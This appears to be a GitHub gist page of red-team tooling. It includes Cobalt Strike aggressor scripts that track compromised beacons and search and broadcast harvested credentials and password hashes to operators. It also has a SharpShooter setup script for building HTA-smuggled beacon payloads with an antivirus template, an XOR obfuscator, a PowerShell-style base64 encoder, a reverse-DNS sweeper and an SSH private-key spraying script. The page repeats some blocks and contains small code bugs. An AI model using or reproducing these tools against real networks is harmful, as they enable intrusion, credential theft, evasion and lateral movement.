generateBeaconSleepInfo($1, $2);
}
}
}
}
#######################################################################################################################
sub pStats {
local('$beacon');
local('%statsHash');
local('$gStats');
$gStats = 0;
foreach $beacon (beacons()) {
local('$helper');
$helper = $beacon['process'];
if (%statsHash[$helper]) {
%statsHash[$helper] = %statsHash[$helper] + 1;
$gStats++;
} else {
%statsHash[$helper] = 1;
$gStats++;
}
}
local('$sortKey');
foreach $sortKey (sorta(keys(%statsHash))) {
local('$currPercentage');
$currPercentage = 0.0;
$currPercentage = (double(%statsHash[$sortKey]) / double($gStats));
$currPercentage = $currPercentage * 100;
println("Process: " . $sortKey . "\t" . "Count: " .%statsHash[$sortKey] . "\tPercentage: " . $currPercentage . "%");
}
}
on event_public {
local('@splitArguments');
@splitArguments = split(' ', $2);
if (@splitArguments[0] ismatch '!pstats') {
pStats();
}
}
#!/usr/bin/env python3
import sys
from base64 import b64encode
from os import path
def checkArgs():
if len(sys.argv) != 2:
print(f'Usage: {sys.argv[0]} /path/to/fileToEncode')
sys.exit(1)
return
def checkFile(filename: str) -> bool:
if not path.exists(filename):
print(f'The file: {filename} does not seem to exist!')
return False
else:
return True
def encodeFileContents(filename: str) -> bytes:
fileContents = open(filename, 'rb').read()
encodedContents = fileContents.decode('UTF-8').encode('UTF-16-LE')
base64EncodedContents = b64encode(encodedContents)
return base64EncodedContents
def main():
checkArgs()
if checkFile(sys.argv[1]):
print(encodeFileContents(sys.argv[1]).decode('UTF-8'))
if __name__ == '__main__':
main()
#!/usr/bin/env python3
import argparse
import ipaddress
import socket
def generateIPs(currentCIDR: str, excludeCIDR: list) -> None:
currNetwork = ipaddress.ip_network(currentCIDR)
for node in currNetwork:
if str(node) not in excludeCIDR:
try:
socketData = socket.gethostbyaddr(str(node))
if socketData:
print(f'{socketData[-1][0]}\t{socketData[0].upper()}')
except Exception as e:
pass
return
def generateNetworkData(fileObject: argparse.FileType) -> list:
dataToReturn = [item.strip() for item in fileObject.readlines()]
fileObject.close()
return dataToReturn
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--include', help='File of CIDR blocks to include.', required=True, type=argparse.FileType('r', encoding='utf-8'))
parser.add_argument('--exclude', help='File of CIDR blocks to exclude.', required=False, type=argparse.FileType('r', encoding='utf-8'))
arguments = parser.parse_args()
if not arguments.exclude:
parser.print_help()
if argments.exclude is not None:
excludedList = generateNetworkData(arguments.exclude)
else:
excludedList = list()
includedList = generateNetworkData(arguments.include)
for ipNetwork in includedList:
generateIPs(ipNetwork, excludedList)
if __name__ == '__main__':
main()
#!/bin/bash
########################################
# SharpShooter Configuration #
# Author: Justin L. #
# Revised: January 08, 2021 #
########################################
########################################
# Usage: ./thisScript.sh #
########################################
############################################################################################################################################
# General Notes: #
# - Start the virtual environment after this script completes, the command will be displayed afterward to do so #
# - Be sure to use a 32-bit STAGELESS payload: Attacks -> Packages -> Windows Executable (S) #
# - Make sure your hosted files are hosted as the exact same as the output, e.g. foo.html and foo.hta #
# #
# Example: ./SharpShooter.py --stageless --dotnetver 4 --payload hta --output foo --rawscfile ./beacon32.bin --smuggle --template mcafee #
############################################################################################################################################
check_python_env () {
if [ ! -x "$(command -v virtualenv)" ]; then
echo -n "Installing virtualenv: " && \
pip install virtualenv > /dev/null && \
echo "Done!"
fi
}
check_python_dir () {
if [ ! -d "$(pwd)/SHARPSHOOT_ENV" ]; then
echo -n "Creating virtual environment: " && \
virtualenv -p python2 SHARPSHOOT_ENV > /dev/null && \
echo "Done!"
fi
source SHARPSHOOT_ENV/bin/activate
}
clone_recent_project () {
if [ -d "$(pwd)/SharpShooter" ]; then
echo -n "Previous project exists, deleting: " && \
rm -rf "$(pwd)/SharpShooter" > /dev/null && \
echo "Done!"
fi
echo -n "Cloning project: " && \
git clone https://github.com/mdsecactivebreach/SharpShooter.git > /dev/null 2>&1 && \
echo "Done!"
}
install_requirements () {
echo -n "Installing requirements: " && \
cd SharpShooter && \
pip install -r requirements.txt > /dev/null 2>&1 && \
echo "Done!"
echo -n "Marking as executable: " && \
chmod +x SharpShooter.py & \
echo "Done!" && \
echo -n "Fixing tabs-to-spaces issue: " && \
cat modules/excel4.py | sed -e 's/ /\t/g' > modules/excel4.py && \
echo "Done!"
deactivate
}
start_process () {
check_python_env && \
check_python_dir && \
clone_recent_project && \
install_requirements && \
echo "Please start the environment: source SHARPSHOOT_ENV/bin/activate"
}
start_process
#!/usr/bin/env python3
import sys
def xor(filebytes):
with open(sys.argv[2], 'wb') as newfile:
data = bytearray([(item ^ 0x1 & 0xff) for item in filebytes])
newfile.write(data)
newfile.close()
return
def readorig(filename):
with open(filename, 'rb') as file:
bytedata = file.read()
print(f"Original Filesize: {len(bytedata)}")
xor(bytedata)
file.close()
return
def main():
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} originalFile newFile")
sys.exit(1)
else:
readorig(sys.argv[1])
if __name__ == '__main__':
main()
sub generateInfo {
local('%hash $beacon');
foreach $beacon (beacons()) {
if (%hash[$beacon['internal']]) {
# This will be updated regardless
%hash[$beacon['internal']]['General'] += 1;
# Logic conditions on which to update
if (($beacon['alive'] ismatch 'true') && (-isadmin $beacon['id'])) {
%hash[$beacon['internal']]['Admin'] += 1;
%hash[$beacon['internal']]['Live'] += 1;
} else if ($beacon['alive'] ismatch 'true') {
%hash[$beacon['internal']]['Live'] += 1;
} else {
%hash[$beacon['internal']]['Dead'] += 1;
}
} else {
%hash[$beacon['internal']] = %(General => 1);
%hash[$beacon['internal']]['Live'] = 0;
%hash[$beacon['internal']]['Admin'] = 0;
%hash[$beacon['internal']]['Dead'] = 0;
if (($beacon['alive'] ismatch 'true') && (-isadmin $beacon['id'])) {
%hash[$beacon['internal']]['Admin'] += 1;
%hash[$beacon['internal']]['Live'] += 1;
} else if ($beacon['alive'] ismatch 'true') {
%hash[$beacon['internal']]['Live'] += 1;
} else {
%hash[$beacon['internal']]['Dead'] += 1;
}
}
}
local('$key $subkey $value');
local('$someMassiveString');
$someMassiveString = "";
foreach $key (keys(%hash)) {
$someMassiveString = $someMassiveString . "\c9$key\o\t\n";
foreach $subkey (keys(%hash[$key])) {
if ($subkey ismatch 'Alive')
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c3" . %hash[$key][$subkey] . "\o";
}
else if ($subkey ismatch 'Dead')
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c4" . %hash[$key][$subkey] . "\o";
}
else if ($subkey ismatch 'Admin')
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c9" . %hash[$key][$subkey] . "\o";
}
else if ($subkey ismatch 'General')
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c3" . %hash[$key][$subkey] . "\o";
}
else
{
$someMassiveString = $someMassiveString . "\t" . $subkey . ": \c0" . %hash[$key][$subkey] . "\o";
}
}
$someMassiveString = $someMassiveString . "\n";
}
return $someMassiveString;
}
on event_join {
#sleep(5000);
privmsg($1, "\nHey there, let's get you up to speed, shall we?\n" . generateInfo());
}
on event_public {
if (split(' ', $2)[0] ismatch '!status') {
privmsg($1, "\n" . generateInfo());
} else if (split(' ', $2)[0] ismatch '!commands') {
local('$helpString');
$helpString = "\nHelper Functions:\n";
$helpString = $helpString . "\cB!status" . "\n";
$helpString = $helpString . "\tGives an indication as to the high-level status of current Beacons.\n\n";
$helpString = $helpString . "\cB!creds \o\c8REGEX_ARGUMENT\o" . "\n";
$helpString = $helpString . "\tSearch the credentials table for a regex argument of choice.\n";
$helpString = $helpString . "\t - Results will be returned from the most recent, to oldest, per result\n\n";
$helpString = $helpString . "\cB!health \o\c8" . '[good | bad | IP_REGEX]' . "\o" . "\n";
$helpString = $helpString . "\tReturns an indication of beacon health, from recent events pulled in beacon history.\n";
$helpString = $helpString . "\tThis command assumes a default sleep interval of 60s.\n";
println($helpString);
privmsg($1, $helpString);
}
}
#######################################################################################################################
sub sortingClosure {
if ($1['added'] < $2['added']) {
return 1;
} else {
return -1;
}
}
on event_public {
local('$regexFilter');
local('$splitCommands');
local('%currentCredentials');
# Format
# %(password => 'f82beda0c061d82902c2b8e59670d615', added => 1601985118156L, host => '10.10.9.222', realm => 'TESTLAB-WK1002', source => 'hashdump', user => 'Baseline')
$splitCommands = split(' ', $2);
$regexFilter = '(?iux)' . $splitCommands[1] . '(.*)?';
if ($splitCommands[0] ismatch '!creds') {
local('$credentialItem');
foreach $credentialItem (credentials()) {
if ($credentialItem['user'] ismatch $regexFilter) {
if (%currentCredentials[$credentialItem['user']]) {
add(%currentCredentials[$credentialItem['user']], $credentialItem);
} else {
%currentCredentials[$credentialItem['user']] = @($credentialItem);
}
}
}
if (size(%currentCredentials) > 0) {
local('@data');
local('$key');
local('$item');
foreach $key (keys(%currentCredentials)) {
local('$descriptionString');
if (size(%currentCredentials) > 0) {
$descriptionString = "\n\nUser: $key\n";
@data = sort(&sortingClosure, %currentCredentials[$key]);
foreach $item (@data) {
$descriptionString = $descriptionString . "Time: " . dstamp($item['added']) . "\t";
if (strlen($item['host']) < 2) {
$descriptionString = $descriptionString . "Host: LOCAL_DOM\t";
} else {
$descriptionString = $descriptionString . "Host: $+ $item['host']\t";
}
if (strlen($item['realm']) < 2) {
$descriptionString = $descriptionString . "Realm: LOCAL\t";
} else {
$descriptionString = $descriptionString . "Realm: $+ $item['realm']\t";
}
$descriptionString = $descriptionString . "Password: $+ $item['password']\n";
}
}
println($descriptionString);
if (strlen($descriptionString) > 0) {
privmsg($1, $descriptionString);
}
}
}
}
}
#######################################################################################################################
on beacon_initial {
bnote($1, "Received at: " . dstamp(ticks()));
}
#######################################################################################################################
on beacon_initial {
local('$beaconinformation');
local('$beaconPID $beaconInternal $beaconProcess $beaconComputer');
local('$fullPlaceHolder @beaconDataArray');
$fullPlaceHolder = bdata($1);
push(@beaconDataArray, $fullPlaceHolder);
highlight("beacons", @beaconDataArray, "good");
$beaconPID = binfo($1, 'pid');
$beaconInternal = binfo($1, 'internal');
$beaconProcess = binfo($1, 'process');
$beaconComputer = binfo($1, 'computer');
# Initial data
$beaconinformation = "A Wild Beacon Appears...\nListener: " . binfo($1, 'listener') . "\tPID: " . $beaconPID . "\tPBeaconID: " . $1 . "\tFrom: " . $beaconComputer . "\tOn: " . $beaconInternal;
action($beaconinformation);
# Give it a good sleep, then continue removing the color
sleep(10000);
highlight("beacons", @beaconDataArray);
}
on beacon_input {
local('$teststuffs $currentoperator $currentprefix $numargs');
local('$beaconPID $beaconInternal $beaconProcess $beaconComputer');
local('$currlistener');
local('$stringBuilder');
local('@beaconArray');
$currentoperator = $2;
$teststuffs = split(' ', $3);
# Extract the first argument
$currentprefix = $teststuffs[0];
# Get number of arguments
$numargs = size($teststuffs);
# Get beacon internal IP and pid
$beaconPID = binfo($1, 'pid');
$beaconInternal = binfo($1, 'internal');
$beaconProcess = binfo($1, 'process');
$beaconComputer = binfo($1, 'computer');
if ($currentprefix ismatch 'spawn') {
$currlistener = $teststuffs[$numargs - 1];
$stringBuilder = "PID: " . $beaconPID . "\tPBeaconID: " . $1 . "\tFrom: " . $beaconComputer . "\tOn: " . $beaconInternal . "\tListener: " . $currlistener;
action("\nATTENTION OPERATORS: " . $currentoperator . " is going live with a spawnto, wish them luck!\n" . $stringBuilder);
push(@beaconArray, bdata($1));
highlight("beacons", @beaconArray, "cancel");
sleep(5000);
highlight("beacons", @beaconArray);
}
}
on heartbeat_10s {
local('@localBeaconArray');
local('$beacon');
foreach $beacon (beacons()) {
if ($beacon['alive'] ismatch 'false') {
push(@localBeaconArray, $beacon);
}
}
highlight("beacons", @localBeaconArray, "bad");
}
#######################################################################################################################
# operatorInfo will be a global variable in the context of this script
sub RunnerRunner {
global('%operatorInfo');
local('$key $value $sUser');
local('$credInfo');
local('%currList $currItem');
if (size(%operatorInfo) == 0) {
foreach $sUser (users()) {
%operatorInfo[$sUser] = %(last => ticks(), initial => 1);
}
} else if (%operatorInfo[$1]){
%operatorInfo[$1]['initial'] = 0;
%operatorInfo[$1]['dCreds'] = @();
%operatorInfo[$1]['pCreds'] = @();
foreach $credInfo (credentials()) {
# For some reason, CS is reporting the wrong timestamp, flip this when it works properly
#if (($credInfo['added']) <= (%operatorInfo[$1]['last'])) {
add(%operatorInfo[$1]['dCreds'], $credInfo);
#}
}
foreach $currItem (%operatorInfo[$1]['dCreds']) {
if (%currList[$currItem['user']]) {
%currList[$currItem['user']] = %currList[$currItem['user']] + 1;
} else {
%currList[$currItem['user']] = 1;
}
}
%operatorInfo[$1]['pCreds'] = %currList;
#println(%operatorInfo[$1]['pCreds']);
local('$currentString');
if (size(%operatorInfo[$1]['pCreds']) > 0) {
$currentString = "Hi, " . $1 . ". We have some new credentials since you last checked in at: " . dstamp(%operatorInfo[$1]['last']) . "\n";
#foreach $key => $value (%operatorInfo[$1]['pCreds']) {
foreach $key (sorta(keys(%operatorInfo[$1]['pCreds']))) {
if (strlen($key) >= 12) {
#$currentString = $currentString . "\tUser: " . $key . "\t\tCount: " . $value . "\n";
$currentString = $currentString . "\tUser: " . $key . "\t\tCount: " . %operatorInfo[$1]['pCreds'][$key] . "\n";
} else {
#$currentString = $currentString . "\tUser: " . $key . "\t\t\tCount: " . $value . "\n";
$currentString = $currentString . "\tUser: " . $key . "\t\t\tCount: " . %operatorInfo[$1]['pCreds'][$key] . "\n";
}
}
}
# Return the value
return $currentString;
} else {
return "";
}
}
on event_join {
local('$sendableData');
$sendableData = RunnerRunner($1);
if (strlen($sendableData) > 1) {
privmsg($1, RunnerRunner($1));
}
}
on event_quit {
# Advance the operator ticks
%operatorInfo[$1]['last'] = ticks();
}
#######################################################################################################################
sub returnIPToInt {
local('@currIP');
local('$intConverted');
local('$localArg');
$localArg = replace($1, '\.', " ");
@currIP = split(' ', $localArg);
$intConverted = casti($intConverted, 'l');
$intConverted = ((@currIP[0] * (256 ** 3)) + (@currIP[1] * (256 ** 2)) + (@currIP[2] * (256 ** 1)) + (@currIP[1] * (256 ** 0)));
return casti($intConverted, 'l');
}
sub sortFunc {
if (returnIPToInt($1['external']) < returnIPToInt($2['external'])) {
return 1;
} else if (returnIPToInt($1['external']) == returnIPToInt($2['external'])) {
return 0;
} else if (returnIPToInt($1['external']) > returnIPToInt($2['external'])) {
return -1;
}
}
sub generateDelta {
local('$deltaTracked');
$deltaTracked = casti(($1 / $2) * 100, 'f');
return $deltaTracked;
}
sub generateBeaconSleepInfo {
local('$commandObject');
$commandObject = split(" ", $2);
if ($commandObject[0] ismatch '!health') {
local('$defaultSleepVal');
$defaultSleepVal = 60000; # 60 seconds, standard
local('$indvBeacon');
local('%dataModel');
foreach $indvBeacon (beacons()) {
local('$defaultSleepVal');
%dataModel[$indvBeacon['id']] = %(
assumed => $defaultSleepVal,
pid => $indvBeacon['pid'],
internal => $indvBeacon['internal'],
external => $indvBeacon['external'],
last => $indvBeacon['last']
);
}
local('$archiveModel');
$archiveModel = archives();
local('$iArchiveEntry');
local('$cARchiveIndex');
$cARchiveIndex = 0;
foreach $iArchiveEntry (archives()) {
if ($iArchiveEntry['data'] ismatch "sleep for.*") {
if (($archiveModel[$cARchiveIndex + 1]['type'] ismatch "checkin") && ($archiveModel[$cARchiveIndex + 1]['bid'] == $archiveModel[$cARchiveIndex]['bid']) && (%dataModel[$iArchiveEntry['bid']])) {
%dataModel[$iArchiveEntry['bid']]['assumed'] = 1000 * replace(split(" ", $iArchiveEntry['data'])[2], 's');
}
}
$cARchiveIndex = $cARchiveIndex + 1;
}
local('$healthString');
local('$placeHolderString');
$placeHolderString = "\nBeacon health assumption checker:\n";
local('@testArray');
local('@finalArray');
foreach $key => $value (%dataModel) {
add(@testArray, $value);
}
@finalArray = sort(&sortFunc, @testArray);
foreach $key (@finalArray) {
if ($key['last'] >= $key['assumed']) {
$colorVar = "\c4UNDER_PERF";
} else {
$colorVar = "\c3STATUS_QUO";
}
$healthString = $healthString . "Health: " . $colorVar . "\o" . "\tInterval: " . ($key['assumed'] / 1000) . " seconds" . "\tPID: " . $key['pid'] . "\tExternal: " . $key['external'] . "\tInternal: " . $key['internal'] . "\n";
}
# Janky AF, because I don't want to redesign this yet
if ($3) {
local('@filterData');
@filterData = split('\n', $healthString);
$healthString = generateFilter(@filterData, $commandObject[1]);
}
if (strlen($healthString) >= 1) {
privmsg($1, $placeHolderString . $healthString);
} else {
privmsg($1, "No information found for the supplied query.");
}
}
}
# I really don't want to do this, but need something to temporarily work.
global('$ipRegexFilter');
sub generateFilter {
local('@filteredData');
if (uc($2) ismatch 'GOOD') {
@filteredData = filter(&callbackGood, $1);
return join("\n", @filteredData);
} else if (uc($2) ismatch 'BAD') {
@filteredData = filter(&callbackBad, $1);
return join("\n", @filteredData);
} else if ($2 ismatch '.*[0-9]{1,3}.*') {
global('$ipRegexFilter');
$ipRegexFilter = '.*' . $2 . '.*';
@filteredData = filter(&callbackRegex, $1);
$ipRegexFilter = ''; # Reset
return join("\n", @filteredData);
}
}
sub callbackGood {
if ($1 ismatch '.*STATUS_QUO.*') {
return $1;
}
}
sub callbackBad {
if ($1 ismatch '.*UNDER_PERF.*') {
return $1;
}
}
sub callbackRegex {
if ($1 ismatch $ipRegexFilter) {
return $1;
}
}
on event_public {
local('@splitArguments');
@splitArguments = split(' ', $2);
local('$argumentSize');
$argumentSize = size(@splitArguments);
if ($argumentSize >= 1) {
# Debugging
if ((@splitArguments[0]) ismatch '!health') {
if (@splitArguments[1]) {
if (uc(@splitArguments[1]) ismatch 'GOOD') {
println("MATCHED GOOD!");
generateBeaconSleepInfo($1, $2, 'GOOD');
} else if (uc(@splitArguments[1]) ismatch 'BAD') {
generateBeaconSleepInfo($1, $2, 'BAD');
} else if ((@splitArguments[1]) ismatch '.*[0-9]{1,3}.*') {
generateBeaconSleepInfo($1, $2, @splitArguments[$argumentSize - 1]);
} else {
generateBeaconSleepInfo($1, $2);
}
} else {
generateBeaconSleepInfo($1, $2);
}
}
}
}
#######################################################################################################################
sub pStats {
local('$beacon');
local('%statsHash');
local('$gStats');
$gStats = 0;
foreach $beacon (beacons()) {
local('$helper');
$helper = $beacon['process'];
if (%statsHash[$helper]) {
%statsHash[$helper] = %statsHash[$helper] + 1;
$gStats++;
} else {
%statsHash[$helper] = 1;
$gStats++;
}
}
local('$sortKey');
foreach $sortKey (sorta(keys(%statsHash))) {
local('$currPercentage');
$currPercentage = 0.0;
$currPercentage = (double(%statsHash[$sortKey]) / double($gStats));
$currPercentage = $currPercentage * 100;
println("Process: " . $sortKey . "\t" . "Count: " .%statsHash[$sortKey] . "\tPercentage: " . $currPercentage . "%");
}
}
on event_public {
local('@splitArguments');
@splitArguments = split(' ', $2);
if (@splitArguments[0] ismatch '!pstats') {
pStats();
}
}
#!/usr/bin/env python
import random
import sys
def generatecontent(filename: str, sizechunks: int):
filedata = list(set([line.strip() for line in open(filename).readlines()]))
random.shuffle(filedata)
if sizechunks > len(filedata):
print(f"C'mon dumb-dumb, you requested {sizechunks} for a file of {len(filedata)}. No.")
sys.exit(1)
return [filedata[item:item+sizechunks] for item in range(0, len(filedata), sizechunks)]
def main():
if len(sys.argv) != 3:
print(f"Usage: python {sys.argv[0]} file sizechunks")
sys.exit(1)
else:
nestedList = generatecontent(sys.argv[1], int(sys.argv[2]))
for index, item in enumerate(nestedList):
print(f"Writing file: sublist-{index + 1}.txt")
data = '\n'.join(item)
with open(f"sublist-{index + 1}.txt", "w") as file:
file.write(data)
file.close()
if __name__ == '__main__':
main()
#!/usr/bin/env python3
from os import path
import paramiko
import sys
def initiateParamikoSession(privkey: str, host: str, usernames: list, successCandidates: dict):
print(f"Iterating host: {host}")
for username in usernames:
clientConn = paramiko.SSHClient()
clientConn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
clientConn.connect(hostname=host, username=username, pkey=privkey)
stdin, stdout, stderr = clientConn.exec_command("whoami")
if username in str(stdout.read()):
print(f"Preliminary success! Additing the following (Host: {host}\tUsername: {username})")
successCandidates[host] = username
break
clientConn.close()
except paramiko.ssh_exception.AuthenticationException:
pass
def ingestFileContents(filename: str) -> list:
with open(filename, 'r') as file:
return [item.strip() for item in file.readlines()]
def main():
if len(sys.argv) != 4:
args = sys.argv
print(f'Usage: {args[0]} ipAddressFile usernamesFile privKeyFile')
sys.exit(0)
for item in sys.argv[1:]:
if not path.exists(item):
print(f'Item: {item} doesn\'t exist. Exiting.')
sys.exit(1)
ipAddresses = ingestFileContents(sys.argv[1])
cUsernames = ingestFileContents(sys.argv[2])
privKeyFile = sys.argv[3]
successfulExecutions = dict()
for ipAddress in ipAddresses:
initiateParamikoSession(privkey=sys.argv[-1], host=ipAddress, usernames=cUsernames, successCandidates=successfulExecutions)
for key in successfulExecutions.keys():
print()
print(f"Host: {key}")
print(f"Access: {successfulExecutions[key]}")
return
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment